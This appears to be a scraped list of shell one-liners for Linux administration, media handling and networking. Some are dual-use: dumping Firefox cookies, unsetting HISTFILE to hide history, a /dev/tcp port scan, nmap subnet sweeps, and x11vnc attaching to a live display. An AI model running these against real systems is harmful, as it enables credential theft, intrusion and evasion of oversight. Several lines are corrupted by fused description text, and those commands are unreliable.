echo -e "[mysql]\npager=less -niSFX" >> ~/.my.cnf
goclf() { type "$1" | sed '1d' | tr -d "\n" | tr -s '[:space:]'; echo }
expandurl() { curl -sIL $1 | grep ^Location; }
find . -type f -size +25000k -exec ls -lh {} \; | awk '{ print $8 ": " $5 }'
cat frame/*.mpeg | ffmpeg -i $ID.mp3 -i - -f dvd -y track/$ID.mpg 2>/dev/null
bchunk IMAGE.bin IMAGE.cue IMAGE.iso
truncate -s0 file
tail -n 50 -f /var/log/apache2/access_log /var/log/apache2/error_log
save_state=$(stty -g);echo -n "Password: ";stty -echo;read password;stty "$save_state";echo "";echo "You inserted $password as password"
touch $2;firefox -print $1 -printmode PDF -printfile $2
whatis [command-name]
mysql -e 'show databases' | sed -n '2,$p' | xargs -I DB 'mysqldump DB > DB.sql'
ssh [user]@[address] "mpg321 -" < [file].mp3
dpkg-query -Wf '${Installed-Size}\t${Package}\n' | sort -n
printf ${PATH//:/\\n}
sudo ifconfig eth0 hw ether 00:01:02:03:04:05
gpg --output foo.txt --decrypt foo.txt.pgp
curl -s -d'&url=URL' http://goo.gl/api/url | sed -e 's/{"short_url":"//' -e 's/","added_to_history":false}/\n/'
ip route show dev ppp0 | awk '{ print $7 }'
e driftntpdate pool.ntp.org && hwclock --systohc && hwclock --adjust
tune=native" switches for compilation.cc -march=native -E -v - </dev/null 2>&1 | grep cc1
addfunction () { declare -f $1 >> ~/.bashrc ; }
socat -v tcp4-l:<port> tcp4:<host>:<port>
cat /etc/*release
wget --spider $URL 2>&1 | awk '/Length/ {print $2}'
cat -n file.txt
mencoder "mf://*.jpg" -mf fps=8 -o ./video.avi -ovc lavc
:! <bash_command>
:r! <bash_command>
ffmpeg -i file.flv -r 15 -b 128k -s qcif -acodec amr_nb -ar 8000 -ac 1 -ab 13 -f 3gp -y out.3gp
ssh HOST cat < LOCALFILE ">" REMOTEFILE
while true; do lynx --dump http://whatthecommit.com/ | head -n 1 | cowsay; sleep 2; done
svn propset svn:ignore "*txt" log/
find . -depth -type d -empty -exec rmdir -v {} +
sudo tasksel install lamp-server
ssf -f -N -L 4321:home.network.com:25 [email protected]
echo ".mode tabs select host, case when host glob '.*' then 'TRUE' else 'FALSE' end, path, case when isSecure then 'TRUE' else 'FALSE' end, expiry, name, value from moz_cookies;" | sqlite3 ~/.mozilla/firefox/*.default/cookies.sqlite
history|awk '{print $2}'|awk 'BEGIN {FS="|"} {print $1}'|sort|uniq -c|sort -r
killall -INFO dd
dpigs
php -i | grep php.ini
watch -n 2 -d '/sbin/ifconfig eth0'
kill -9 `ps -u <username> -o "pid="`
find . -type d -empty -delete
numsum count.txt
ffmpeg -f x11grab -s `xdpyinfo | grep 'dimensions:'|awk '{print $2}'` -r 25 -i :0.0 -sameq /tmp/out.mpg > /root/howto/capture_screen_video_ffmpeg
dig @208.67.222.222 myip.opendns.com
grep -P "\x05\x00\xc0" mybinaryfile
sudo echo 0 > /sys/block/sdb/queue/rotational
sleep 6s && notify-send -t 10000 -u critical "remember to think" &
tailf file.log
podwebserver& sleep 2; elinks 'http://127.0.0.1:8020'
screen -x
tail -f /path/to/timestamped/files/file-*(om[1])
egrep 'https?://([[:alpha:]]([-[:alnum:]]+[[:alnum:]])*\.)+[[:alpha:]]{2,3}(:\d+)?(/([-\w/_\.]*(\?\S+)?)?)?'
svn propset svn:ignore "*" tool/templates_c; svn commit -m "Ignoring tool/templates_c"
<CTRL+w>
tr "\n" " " < file
eog `curl -s http://xkcd.com/ | sed -n 's/<h3>Image URL.*: \(.*\)<\/h3>/\1/p'`
rsync -rv --include '*/' --include '*.txt' --exclude '*' srcDir/ desDir/
svn diff | vim -
$command 3>&1 1>&2 2>&3
ls -A
stty cbreak -echo; KEY=$(dd bs=1 count=1 2>/dev/null); stty -cbreak echo
*/5 * * * * root /usr/local/nagios/sbin/nsca_check_disk 2>&1 |/usr/bin/logger -t nsca_check_disk
diff -b $file1 $file2 # GNU Tools
echo {001..5}
nano +X foo
tail -f *[!.1][!.gz]
mplayer -rtsp-stream-over-tcp -user-agent QuickTime/7.6.4 http://trailers.apple.com/movies/HDmovie-h720p.mov
cal filesystemtar -czf - * | ssh example.com "cat > files.tar.gz"
mdmmv "*.txt" "#1.md"
tar -czvvf backup$(date "+%Y%m%d_%H%M%S").tar.gz /path/to/dir
awk '{count[length]++}END{for(i in count){printf("%d: %d\n", count[i], i)}}'
for i in `ls`;do avidemux --video-codec Xvid4 --load $i --save $i.mp4 --quit; done
alias timestamp='date "+%Y%m%dT%H%M%S"'
(crontab -l; echo '* * * * * dmesg -c'; ) | crontab -
for x in `find /path/ -type d | cut -b bytesoffoldername-`; do mkdir -p newpath/$x; done
ssh root@pyramid \ "tcpdump -nn -i eth1 -w -" | snort -c /etc/snort/snort.conf -r -
ps aux |awk '{$1} {++P[$1]} END {for(a in P) if (a !="USER") print a,P[a]}'
ps -o %mem= -C firefox-bin | sed -s 's/\..*/%/'
watch -n 1 'date "+obase=2; print %H,\":\",%M,\":\",%S" |bc'
ttmkfdir mkfontdir fc-cache /usr/share/fonts/miscttf
INFILE=/path/to/your/backup.img; MOUNTPT=/mnt/foo; PARTITION=1; mount "$INFILE" "$MOUNTPT" -o loop,offset=$[ `/sbin/sfdisk -d "$INFILE" | grep "start=" | head -n $PARTITION | tail -n1 | sed 's/.*start=[ ]*//' | sed 's/,.*//'` * 512 ]
wmctrl -l -p | while read line; do ps -o cmd= "$(echo "$line" | awk '$0=$3')"; done > ~/.windows
sed '/MARKER/{N;s/THIS/THAT/}'
alias lg='ls --color=always | grep --color=always -i'
TOTAL_RAM=`free | head -n 2 | tail -n 1 | awk '{ print $2 }'`; PROC_RSS=`ps axo rss,comm | grep [h]ttpd | awk '{ TOTAL += $1 } END { print TOTAL }'`; PROC_PCT=`echo "scale=4; ( $PROC_RSS/$TOTAL_RAM ) * 100" | bc`; echo "RAM Used by HTTP: $PROC_PCT%"
lsof -i :555-7000
openssl rand -base64 6
find . -type f -mtime +7 -exec ls -l {} \;
cuebreakpoints "$2" | shnsplit -o flac "$1"
VBoxHeadless -s <name|uuid>
ssh -D 8888 [email protected]
sudo date -s "$(ssh [email protected] "date -u")"
lsof -i -n | grep ESTABLISHED
du -sb *|sort -nr|head|awk '{print $2}'|xargs du -sh
:ret
convert images*.* <my_pdf>.pdf
/sbin/ifconfig -a | awk '/(cast)/ { print $2 }' | cut -d':' -f2 | head -1
find . ! -name \*.md5 -exec 'md5sum "{}" > "{}".md5' \;
!!:gs/data/index/
ufraw-batch --out-type=jpeg --out-path=./jpg ./*.NEF
ssh -fY user@REMOTESERVER firefox -no-remote
pdftk inp1.pdf inp2.pdf inp3.pdf cat output out.pdf
export PS1="${PS1%\\\$*}"' \t \$ '
alias ip4grep "grep -E '([0-9]{1,3}\.){3}[0-9]{1,3}'"
watch ifconfig eth0
ls -1 /lib/modules
ip link show
openssl rand -base64 <length>
echo "^[]0;My_Title_Goes _Here^G"
unset HISTFILE
mysqldump -uUserName -pPassword tudb | ssh [email protected] "mysql -uUserName -pPassword -h mysql.rootsvr.com YourDBName"
ssh user@machine_A dd if=/dev/dvd0 > dvddump.iso
ls -alh #mycomment
echo *.log | xargs <command>
echo "savedefault --default=2 --once" | grub --batch; sudo reboot
readlink -e /bin/ls
in parallelc=0; n=8; while true; do r=`echo $RANDOM%5 |bc`; echo "sleep $r"; sleep $r& 2>&1 >/dev/null && ((c++)); [ `echo "$c%$n" | bc` -eq 0 ] && echo "$c waiting" && wait; done
for f in *;do mplayer $f;read $n;mv $f $n;done
lsof -i :22
dtach -c /tmp/wires-mc mc
convert sample.pdf sample.jpg
pdftk A=chapters.pdf B=headings.pdf C=covers.pdf cat C1 B1 A1-7 B2 A8-10 C2 output book.pdf
echo 00:29:36 | awk -F: '{print ($1*3600)+($2*60)+$3}'
sed -i '19375 s/^/#/' file
0 10 * * * rsync -rau /[VIPdirectory] X.X.X.X:/backup/[VIPdirectory]
echo $((($(date +%s)-$(date +%s -d "march 1"))/86400))
pmap -d <<pid>>
stty sane
speaker-test -D plug:surround51 -c 6 -l 1 -t wav
mpg123 "`locate -r '\.mp3$'|awk '{a[NR]=$0}END{print a['"$RANDOM"' % NR]}'`"
curl -sL xkcd.com | grep '<img [^>]*/><br/>' | sed -r 's|<img src="(.*)" title="(.*)" alt="(.*)" /><br/>|\1\t\2\t\3|' > /tmp/a; curl -s $(cat /tmp/a | cut -f1) | convert - -gravity south -draw "text 0,0 \"$(cat /tmp/a | cut -f2)\"" pdf:- > xkcd.pdf
ture the output of ssh from client side while connecting to a server.ssh user@server | tee logfilename
dump 0f - / | bzip -c9 | ssh user@host "cat > /home/user/root.dump.bz2"
php -r 'echo str_rot13 ("Hello World");'
rec -c 2 -r 44100 -s -t wav - | oggenc -q 5 --raw --raw-chan=2 --raw-rate=44100 --raw-bits=16 - > MyLiveRecording.ogg
rm !(file_to_keep_undeleted)
dpkg -l 'linux-*' | sed '/^ii/!d;/'"$(uname -r | sed "s/\(.*\)-\([^0-9]\+\)/\1/")"'/d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/;/[0-9]/!d' | xargs sudo apt-get -y purge
:%sort
lsof -p 1234 | grep -E "\.log$" | awk '{print $NF}'
php -i
ip route | awk '/default/{print $3}'
<alt+.>
rsync -avz -e 'ssh -A sshproxy ssh' srcdir remhost:dest/path/
date -R -d @1234567890
uuencode archive.tar.gz archive.tar.gz | mail -s "Emailing: archive.tar.gz" [email protected]
Esc-/ Esc-/
wget -U "QuickTime/7.6.2 (qtver=7.6.2;os=Windows NT 5.1Service Pack 3)" `echo http://movies.apple.com/movies/someHDmovie_720p.mov | sed 's/\([0-9][0-9]\)0p/h\10p/'`
vim $( ls -t | head -n1 )
find . -depth -name .svn -type d -exec rm -fr {} \;
gpg --gen-random --armor 1 30
ls -drt /var/log/* | tail -n5 | xargs sudo tail -n0 -f
watch "ps auxw | grep [d]efunct"
rtfm() { help $@ || info $@ || man $@ || $BROWSER "http://www.google.com/search?q=$@"; }
curl -u twitter-username -d status="Hello World, Twitter!" -d source="cURL" http://twitter.com/statuses/update.xml
dd if=/dev/zero bs=4096 count=1048576 | ssh [email protected] 'cat > /dev/null'
echo -e "Terminal shortcut keys\n" && sed -e 's/\^/Ctrl+/g;s/M-/Shift+/g' <(stty -a 2>&1| sed -e 's/;/\n/g' | grep "\^" | tr -d ' ')
ssh -C USER@HOST tar -c --exclude /proc --exclude /sys / | tar -x
function miso () { mkdir ~/ISO_CD && sudo mount -o loop "$@" ~/ISO_CD && cd ~/ISO_CD && ls; } function uiso () { cd ~ && sudo umount ~/ISO_CD && rm -r ~/ISO_CD; }
mplayer tv:// -tv driver=v4l2:width=640:height=480:device=/dev/video0:fps=30:outfmt=yuy2
sed 's/\(..\)/\1:/g;s/:$//' mac_address_list
alias tarred='( ( D=`builtin pwd`; F=$(date +$HOME/`sed "s,[/ ],#,g" <<< ${D/${HOME}/}`#-%F.tgz); tar --ignore-failed-read --transform "s,^${D%/*},`date +${D%/*}.%F`,S" -czPf "$"F "$D" &>/dev/null ) & )'
sed -i 'your sed stuff here' file
aptitude purge '~c'
command !$
boxes -d dog or cowsay -f tux $M
wget -q --user=<username> --password=<password> 'https://updates.opendns.com/nic/update?hostname=your_opendns_hostname&myip=your_ip' -O -
rm -rf !(@(file1|file2|...))
mplayer -af scaletempo=scale=1.5 foo.mp3
for f in *;do flac -cd $f |lame -b 192 - $f.mp3;done
tune2fs -O extents,uninit_bg,dir_index /dev/yourpartition
history | perl -F"\||<\(|;|\`|\\$\(" -alne 'foreach (@F) { print $1 if /\b((?!do)[a-z]+)\b/i }' | sort | uniq -c | sort -nr | head
cat VIDEO_TS/VTS_01_[1234].VOB | nice ffmpeg -i - -s 512x384 -vcodec libtheora -acodec libvorbis ~/Videos/dvd_rip.ogg
for M in 0 1 2 3 ; do echo eth$M ;/sbin/ethtool eth$M | grep -E "Link|Speed" ; done
scrot -ucd4 -e 'eog $f'
curl -v -k -u user:password "https://members.dyndns.org/nic/update?hostname=<your_domain_name_here>&myip=$(curl -s http://checkip.dyndns.org | sed 's/[a-zA-Z<>/ :]//g')&wildcard=NOCHG&mx=NOCHG&backmx=NOCHG"
cat 1.tar.gz 2.tar.gz > 3.tar.gz; tar zxvfi 3.tar.gz
dd if=/dev/zero of=foo.txt bs=1M count=1
find . -exec `alias foo | cut -d"'" -f2` {} \;
cat /dev/zero | pv | ssh 192.168.1.2 "cat > /dev/null"
apt-file search iostat
du -hs * | grep '^[0-9,]*[MG]' | sort -rn
quota -q $(cat /etc/passwd|cut -d ':' -f 1)
gs -q -sPAPERSIZE=a4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=out.pdf a.pdf b.pdf c.pdf
ping -q -c1 -w3 brandx.jp.sme 2&>1 /dev/null || echo brandx.jp.sme ping failed | mail -ne -s'Server unavailable' [email protected]
nmap -v -sP 192.168.0.0/16 10.0.0.0/8
mii-tool [if]
find . -not \( -name .svn -prune \)
vlock
find . -type f -iname '*.flac' | while read FILE; do FILENAME="${FILE%.*}"; flac -cd "$FILE" | lame -b 192 - "${FILENAME}.mp3"; done
d in parallel, using makeecho -n 'targets = $(subst .png,.jpg,$(wildcard *.png))\n$(targets):\n convert $(subst .jpg,.png,$@) $@ \nall : $(targets)' | make -j 4 -f - all
tail -f file | while read line; do echo -n $(date -u -Ins); echo -e "\t$line"; done
find . -type f | awk -F'.' '{print $NF}' | sort| uniq -c | sort -g
wget -O - -q icanhazip.com
shutdown -h +240
rm ./-filename
find . -size +100000k -exec du -h {} \;
tar -cf ~/out.tar --no-recursion --files-from <(find . -type d)
TZ=Indian/Maldives date
g~w
export PS1="\[\017\033[m\033[?9l\033[?1000l\]$PS1"
links -dump "http://spaceflight.nasa.gov/realdata/sightings/cities/view.cgi?country=United_States®ion=Wisconsin&city=Portage" | sed -n '/--/,/--/p'
cd ~/.purple/logs/; egrep -ri "i can haz|pwn|l33t|w00|zomg" * | cut -d'/' -f 3 | sort | uniq | xargs -I {} echo "Note to self: ban user '{}'"
dig foo.org mx +short
( last ; ls -t /var/log/wtmp-2* | while read line ; do ( rm /tmp/wtmp-junk ; zcat $line 2>/dev/null || bzcat $line ) > /tmp/junk-wtmp ; last -f /tmp/junk-wtmp ; done ) | less
resize
mount -t proc{,,}
gcal -K -q GB_EN 2009 # display holidays in UK/England for 2009 (with week numbers)
( zcat $FILE || gzcat $FILE || bzcat2 $FILE ) | less
echo "text to be displayed" | pv -qL 10
dd if=mfsbsd.iso | ssh distant.server dd of=/dev/sda
git archive HEAD --format=zip > archive.zip
inotifywait -mrq -e CREATE --format %w%f /path/to/dir | while read FILE; do chmod g=u "$FILE"; done
for i in *; do mv "$i" "$(echo $i|tr A-Z a-z)"; done
watch -n 1 df
chr () { printf \\$(($1/64*100+$1%64/8*10+$1%8)); }
seq -s " " -w 3 20
upper() { echo ${@^^}; }
locate searchstring | xargs ls -l
eh () { history -a ; vi ~/.bash_history ; history -r ; }
cat .ssh/id_dsa.pub | ssh elsewhere "[ -d .ssh ] || mkdir .ssh ; cat >> .ssh/authorized_keys"
<command>; echo "job done"|mail [email protected] -s'job done'
date -d '2 weeks ago'
find / \( -local -o -prune \) \( -perm -4000 -o -perm -2000 \) -type f -exec ls -l {} \;
perl -ne 'BEGIN{undef $/}; print "$ARGV\t$.\t$1\n" if m/(first line.*\n.*second line)/mg'
dd bs=1 seek=2TB if=/dev/null of=ext3.test
:!cp % %-
sudo -u username bash
while [ $(deborphan | wc -l) -gt 0 ]; do dpkg --purge $(deborphan); done
find /tmp -type f -atime +1 -delete
mount.gmailfs none /mount/path/ [-o username=USERNAME[,password=PASSWORD][,fsname=VOLUME]] [-p]
Type "c-a b" in gnu screen after updating your .screenrc (See Description below).
tail -F file | egrep --color 'pattern|$'
mysqldump -u UNAME -p DBNAME TABLENAME> FILENAME
strace -f -s 512 -v ls -l
shopt -s cdspell
utime { date -d @$1; }
python -c'for i in range(1,101):print"FizzBuzz"[i*i%3*4:8--i**4%5]or i'
mwiki () { blah=`echo $@ | sed -e 's/ /_/g'`; dig +short txt $blah.wp.dg.cx; }
netstat -ntauple
tree -C | less -R
server=8.8.8.8; host="apple.com"; queries=128; for i in `seq $queries`; do let x+=`dig @${server} $host | grep "Query time" | cut -f 4 -d " "`; done && echo "scale=3;($x/${queries})" | bc
modinfo $(cut -d' ' -f1 /proc/modules) | sed '/^dep/s/$/\n/; /^file\|^desc\|^dep/!d'
google youtube post --title "My\ Video" --category Education ~/myvideo.avi
tee >(cat - >&2)
wget -q -O - http://someonewhocares.org/hosts/ | grep ^127 >> /etc/hosts
for i in {0..255}; do echo -e "\e[38;05;${i}m${i}"; done | column -c 80 -s ' '; echo -e "\e[m"
sudo apt-get update 2> /tmp/keymissing; for key in $(grep "NO_PUBKEY" /tmp/keymissing |sed "s/.*NO_PUBKEY //"); do echo -e "\nProcessing key: $key"; gpg --keyserver pool.sks-keyservers.net --recv $key && gpg --export --armor $key |sudo apt-key add -; done
ll directory structure using find and cpiofind . -iname "*.flac" | cpio -pdm /Volumes/Music/FLAC
awk '{$1=""; print}'
xwd -root -display :0.0| xwdtopnm | pnmtopng > Screenshot.png
curl -Is slashdot.org | sed -n '5p' | sed 's/^X-//'
ps auxf | grep httpd | grep -v grep | grep -v defunct | awk '{sum=sum+$6}; END {print sum/1024}'
sort -t. -k1,1n -k2,2n -k3,3n -k4,4n
esfuman(){ lynx -width=$COLUMNS -nonumbers -dump "http://www.commandlinefu.com/commands/using/$1" |sed '/Add to favourites/,/This is sample output/!d' |sed 's/ *Add to favourites/----/' |less -r; }
awk '{print $1}' "/proc/modules" | xargs modinfo | awk '/^(filename|desc|depends)/'
lsof | grep pcm
cat *.c | { printf "se te du\nplot '-' t '' w dots\n"; tr '[[:upper:]]' '[[:lower:]]' | tr -s [[:punct:][:space:]] '\n' | sort | uniq -c | sort -nr | head -n 100 | awk '{print $1}END{print "e"}'; } | gnuplot
shopt -s histappend
find -iname '*mp3' -exec mid3iconv {} \;
watch -tn1 'date +%r | figlet'
renice +5 -p $(pidof <process name>)
ls -lct /etc/ | tail -1 | awk '{print $6, $7, $8}'
for i in $(cat listofservers.txt); do konsole --new-tab -e ssh $i; done
watch "df | grep /path/to/drive"
$mkdir mydir -> mv !$ yourdir -> $cd !$
zcat database.sql.gz | mysql -uroot -p'passwd' database
screen -d -m command &
identify -format "%wx%h" /path/to/image.jpg
alias ..='cd ..'
sudo -s "echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all"
egrep -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' file.txt
date --date=yesterday
ps -o rss -C httpd | tail -n +2 | (sed 's/^/x+=/'; echo x) | bc
expr 512 \* 7
wget --http-user=YourUsername --http-password=YourPassword http://YourWebsiteUrl:2082/getbackup/backup-YourWebsiteUrl-`date +"%-m-%d-%Y"`.tar.gz
zip -vr example.zip example/ -x "*.DS_Store"
man intro
dpkg -L iptables | perl -lne 'print if -f && -x'
sftp -oPort=3476 user@host
eject -i 1
echo 'fOo BaR' | tr '[A-Z]' '[a-z]' | sed 's/\(^\| \)\([a-z]\)/\1\u\2/g'
ps aux | grep [a]pache2 | nl
ls -l | sort -nk5
awk 'BEGIN{srand()}{print rand(),$0}' SOMEFILE | sort -n | cut -d ' ' -f2-
ps -C program_name || { program_name & }
cat -n <file> | sort -k 2 | uniq -f 1 | sort -n | cut -f 2-
sed -i '10d' <somefile>
sudo apt-get -o Acquire::http::Dl-Limit=25 install <package>
while [ 0 ]; do echo -e "HTTP/1.1 302 Found\nLocation: http://www.whatevs.com/index.html" | nc -vvvv -l -p 80; done
it via local Wireshark ( GUI ).tcpdump -v -i <INTERFACE> -s 0 -w /tmp/sniff.pcap port <PORT> # On the remote side
fping -r1 -g <subnet> 2> /dev/null | grep unreachable | cut -f1 -d' '
zip -r myfile.zip * -x \*.svn\*
watch 'iptables -vL'
sudo dd if=/dev/hda1 of=/dev/hdb2
find . -name "*.php" -exec php -l {} \;
sed '/^$/d'
| wcecho ${PIPESTATUS[@]} |
man beep | sed -e '1,/Note/d; /BUGS/,$d' | awk '{print $2}' | xargs -IX sudo beep -f X -l 500
lockfile
pdftk in.pdf cat 1S output out.pdf
git diff HEAD..rev | git apply --index; git commit
egrep --color=auto 'usb|' /var/log/messages
<ctrl-f> in ex mode in vim
sleep 3 && xdotool type --delay 0ms texthere
cp filename{,.`date +%Y%m%d`}
x11vnc -display :0 -auth $(ps -ef|awk '/xauth/ {print $15}'|head -1) -forever -bg &
echo $ascii | perl -ne 'printf "%x", ord for split //'
pdftk A=odd.pdf B=even.pdf shuffle A1-end Bend-1S output duplex.pdf
pv large.xml | xclip
convert -resize 200 -sharpen 40 some_file.pdf[0] some_file.jpg
ps -o comm= -p $(ps -o ppid= -p $$)
echo -ne "\e[32m" ; while true ; do echo -ne "\e[$(($RANDOM % 2 + 1))m" ; tr -c "[:print:]" " " < /dev/urandom | dd count=1 bs=50 2> /dev/null ; done
du -x --max-depth=1 | sort -n | awk '{ print $2 }' | xargs du -hx --max-depth=0
tail -f somefile |tee >(grep --line-buffered '1' > one.txt) |tee >(grep --line-buffered '2' > two.txt)
wget -O LICENSE.txt http://www.gnu.org/licenses/gpl-3.0.txt
/usr/sbin/dmidecode | grep -i "current speed"
) of the Unicode Standard.find . -type f | grep -rl $'\xEF\xBB\xBF'
hort URL.curl --user "USERNAME:PASSWORD" -d status="MESSAGE_GOES_HERE $(curl -s tinyurl.com/api-create.php?url=URL_GOES_HERE) $(curl -s api.hostip.info/get_html.php?ip=$(curl ip.appspot.com))" -d source="cURL" twitter.com/statuses/update.json -o /dev/null
ssh -fND localhost:PORT USER@SERVER
rpm2cpio package.rpm |cpio -dimv
alias z='zenity --info --text="You will not believe it, but your command has finished now! :-)" --display :0.0'
wget -O - http://example.com/a.gz | tar xz
function man2pdf(){ man -t ${1:?Specify man as arg} | open -f -a preview; }
o iptables output chain.curl -s http://isc.sans.org/sources.html|grep "ipinfo.html"|awk -F"ip=" {'print $2'}|awk -F"\"" {'print $1'}|xargs -n1 sudo iptables -A OUTPUT -j DROP -d > 2&>1
top -b -n 1 | awk '{if (NR <=7) print; else if ($8 == "D") {print; count++} } END {print "Total status D: "count}'
printf '\!:1\0\!:1\0\!:2' | mmencode | tr -d '\n' | sed 's/^/AUTH PLAIN /'
watch() { while test :; do clear; date=$(date); echo -e "Every "$1"s: $2 \t\t\t\t $date"; $2; sleep $1; done }
A (dir1 and dir2)rsync -av --ignore-existing --exclude="dir1" --exclude="dir2" /pathA /pathB
echo <percentage> > /proc/acpi/video/VGA/LCD/brightness
find /var/log -type f -exec file {} \; | grep 'text' | cut -d' ' -f1 | sed -e's/:$//g' | grep -v '[0-9]$' | xargs tail -f
ffmpeg -loop_input -f image2 -r 30000/1001 -t $seconds -i frame/$num.ppm -y frame/%02d.mpeg 2>/dev/null
whowatch
firefox -P <profile_name> -no-remote
tr '\0' '\377' < /dev/zero|dd count=$((<bytes>/512))
bind -p | grep -F "\C"
sed -n /start_pattern/,/stop_pattern/p file.txt
sudo vi /etc/fstab; Go//smb-share/gino /mnt/place smbfs defaults,username=gino,password=pass 0 0<esc>:wq; mount //smb-share/gino
shmore(){ local l L M="`echo;tput setab 4&&tput setaf 7` --- SHMore --- `tput sgr0`";L=2;while read l;do echo "${l}";((L++));[[ "$L" == "${LINES:-80}" ]]&&{ L=2;read -p"$M" -u1;echo;};done;}
ean!ps auxw |egrep "PID|process_to_look_at"
awk '/match/{print NR}' file
xclip -o -selection clipboard | xclip -selection clipboard
realpath examplefile.txt
bind 'set match-hidden-files off'
read -a A<<<".*.**..*....*** 8 9 5 10 6 0 2 11 7 4";for C in `date +"%H%M"|fold -w1`;do echo "${A:${A[C+1]}:4}";done
imageshack() { for files in *; do curl -H Expect: -F fileupload="@$files" -F xml=yes -# "http://www.imageshack.us/index.php" | grep image_link | sed -e 's/<image_link>/[IMG]/g' -e 's/<\/image_link>/[\/IMG]/g'; done; }
ncal -e
dvgrab --format raw - | tee dvstream.dv | ffmpeg2theora -A 45 -V 400 -c 1 -f dv -x 360 -y 288 -o /dev/stdout - | tee savelivestream.ogv | oggfwd -p -d "Stream description" -n "Streamname" my.icecastserver.com 80 icecastpassword /stream.ogv
find . -type f -mtime +100 -exec tar rvf my.tar --remove-files {} \;
<ALT>+<.> or <ALT>+<NUM>+<.> or <ALT>+<NUM>,<ALT>+<.>
gpg --encrypt --recipient 'Foo Bar' foo.txt
enscript -E --color -t "title" -w html --toc -p /PATH/to/output.html /var/log/*log
net rpc -I ADDRESS -U USERNAME%PASSWORD service {stop|start} SVCNAME
convert -rotate $rotate -scale $Widthx$Height -modulate $brightness -contrast $contrast -colorize $red%,$green%,$blue% $filter file_in.png file_out.png
mencoder -oac mp3lame -lameopts cbr=128 -ovc lavc -lavcopts vcodec=mpeg4 -ffourcc xvid -vf scale=320:-2,expand=:240:::1 -o output.avi dvd://0
googl () { curl -s -d "url=${1}" http://goo.gl/api/url | sed -n "s/.*:\"\([^\"]*\).*/\1\n/p" ;}
filext () { echo ${1##*.}; }
startx -- /usr/bin/Xephyr :2
grep -r . /sys/class/net/eth0/statistics
watch -n 1 "sudo asterisk -vvvvvrx 'core show channels' | grep call"
sudo hwinfo --framebuffer
ssh $HOST -l$USER cat /REMOTE/FILE | sdiff /LOCAL/FILE -
declare -f <function name>
sed 's/$/<ctrl+v><ctrl+m>/'
lsof -i | grep -i estab
ssh user@remote 'cat >> ~/.ssh/authorized_keys2' < ~/.ssh/id_rsa.pub
mencoder "$1" -ofps 23.976 -ovc lavc -oac copy -o "$1".avi
for file in *.mp3;do mkdir -p "$(mp3info -p "%a/%l" "$file")" && ln -s "$file" "$(mp3info -p "%a/%l/%t.mp3" "$file")";done
echo "blacklist pcspkr"|sudo tee -a /etc/modprobe.d/blacklist.conf
shout () { curl -s "http://shoutkey.com/new?url=$1" | sed -n 's/\<h1\>/\&/p' | sed 's/<[^>]*>//g;/</N;//b' ;}
from the end)file /bin/* | msort -j -l -n-1 -n2 2> /dev/null
grep "install " /var/log/dpkg.log | awk '{print $4}' | xargs apt-get -y remove --purge
fc-list | cut -d ':' -f 1 | sort -u
grep '^MemFree:' /proc/meminfo | awk '{ mem=($2)/(1024) ; printf "%0.0f MB\n", mem }'
curl -s http://bash.org/?random1|grep -oE "<p class=\"quote\">.*</p>.*</p>"|grep -oE "<p class=\"qt.*?</p>"|sed -e 's/<\/p>/\n/g' -e 's/<p class=\"qt\">//g' -e 's/<p class=\"qt\">//g'|perl -ne 'use HTML::Entities;print decode_entities($_),"\n"'|head -1
shopt -s cdable_vars
cp --parents /source/file /target-dir
ps -eo stat,pid,user,command | egrep "^STAT|^D|^R"
vi `!!`
urxvtd -q -o -f
find /path -type d -perm 777 -exec chmod 755 {} \;
ping -i1 www.google.com &> /dev/null & disown
nmap 192.168.0-1.0-255 -sP
while [ true ]; do head -n 100 /dev/urandom; sleep .1; done | hexdump -C | grep "ca fe"
curl -O http://hosted.met-art.com/generated_gallery/full/061606AnnaUkrainePasha/met-art-free-sample-00[00-19].jpg
i=0; f=$(find . -type f -iregex ".*jpg");c=$(echo $f|sed "s/ /\n/g"| wc -l);for x in $f;do i=$(($i + 1));echo "$x $i of $c"; mogrify -strip $x;done
eight or weight.mogrify -resize 800\> *
jot -r -n 8 0 9 | rs -g 0
yes n
export PS1="C:\$( pwd | sed 's:/:\\\\\:g' )> "
find . -name .svn -exec rm \-rf {} \;
xvidcap --file filename.mpeg --fps 15 --cap_geometry 1680x1050+0+0 --rescale 25 --time 200.0 --start_no 0 --continue yes --gui no --auto
lspci -vv
for a in path/* ; do ccenrypt -K <password> $a; done
lynx -source http://www.lipsum.com/feed/xml?amount=3|perl -p -i -e 's/\n/\n\n/g'|sed -n '/<lipsum>/,/<\/lipsum>/p'|sed -e 's/<[^>]*>//g'
/usr/proc/bin/pfiles $PID
for p in {1..1023}; do(echo >/dev/tcp/localhost/$p) >/dev/null 2>&1 && echo "$p open"; done
diff <(head -500 product-feed.xml) <(head -500 product-feed.xml.old)
find . -type d \( -name DIR1 -o -name DIR2 \) -prune -o -type f -print0 | xargs -r0 md5sum
<alt+q>
find . -type f ! -name "*html"
TZ=PST8PDT+72 date '+%Y_%m_%d'
git ls-files -z --deleted | xargs -0 git rm
echo "savedefault --default=2 --once" | grub --batch; sudo reboot
dvd+rw-format -force /dev/dvd1
xrandr -s 1280x1024
mdrename 's/.txt/.md/i' *
sion.FILENAME=${FILE##*/};FILEPATH=${FILE%/*};NOEXT=${FILENAME%\.*};EXT=${FILE##*.}
mplayer -vc null -vo null -ao pcm <input video file> -ss <start> -endpos <end>
wget -qO- www.commandlinefu.com/commands/by/PhillipNordwall | awk -F\> '/num-votes/{S+=$2; I++}END{print S/I}'
find ~/bin/ -name "*sh" -print0 | xargs -0t tar -zcvf foofile.tar.gz
identify -verbose *.jpg|grep "\(Image:\|Resolution\)"
ps ax -o "%p %U %u %x %c %n"
startx -- /usr/X11R6/bin/Xnest :5 -geometry 800x600
watch --interval 1 "cat /proc/acpi/thermal_zone/THRM/*; cat /proc/cpuinfo | grep MHz; cat /proc/acpi/processor/*/throttling"
> foobar.txt
ls -ltcrh
\bTERM\b
man -t man | lp
find . ! -name "$(printf '*[\001-\037\177]*')"
cat -v -t -e
mirror=ftp://somemirror.com/with/alot/versions/but/no/latest/link; latest=$(curl -l $mirror/ 2>/dev/null | grep util | tail -1); wget $mirror/$latest
cd `dirname $_`
iconv -f utf8 -t utf16 /path/to/file
lsof -iTCP -sTCP:ESTABLISHED | awk '{print $1}' | sort -u
